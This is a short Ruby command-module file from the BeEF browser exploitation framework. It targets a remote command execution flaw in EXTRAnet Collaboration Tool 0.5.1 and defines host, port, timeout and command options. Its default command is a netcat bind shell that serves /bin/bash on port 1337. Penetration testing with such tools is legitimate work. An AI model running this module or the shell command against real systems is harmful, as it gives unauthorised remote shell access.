#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
###
# Reference: http://itsecuritysolutions.org/2011-12-16-Privilege-escalation-and-remote-inter-protocol-exploitation-with-EXTRACT-0.5.1/
###
# EXTRAnet Collaboration Tool (extra-ct)
# Version: 0.5.1
# Homepage: http://www.extra-ct.net/
# Source: http://code.google.com/p/extra-ct/
# Source: http://sourceforge.net/projects/extract/
###
class Extract_cmd_exec < BeEF::Core::Command

  def self.options
    return [
	{'name'=>'rhost',   'ui_label' => 'Remote Host', 'value' => '127.0.0.1'},
	{'name'=>'rport',   'ui_label' => 'Remote Port', 'value' => '10100'},
	{'name'=>'timeout', 'ui_label' => 'Timeout (s)', 'value' => '15'},
	{'name'=>'cmd',     'ui_label' => 'Commands',    'description' => 'Enter shell commands to execute. Note: Spaces in the command are not supported.', 'type'=>'textarea', 'value'=>'{netcat,-l,-p,1337,-e,/bin/bash}', 'width'=>'200px' },
    ]
  end

  def post_execute
	save({'result' => @datastore['result']}) if not @datastore['result'].nil?
	save({'fail'   => @datastore['fail']})   if not @datastore['fail'].nil?
  end

end
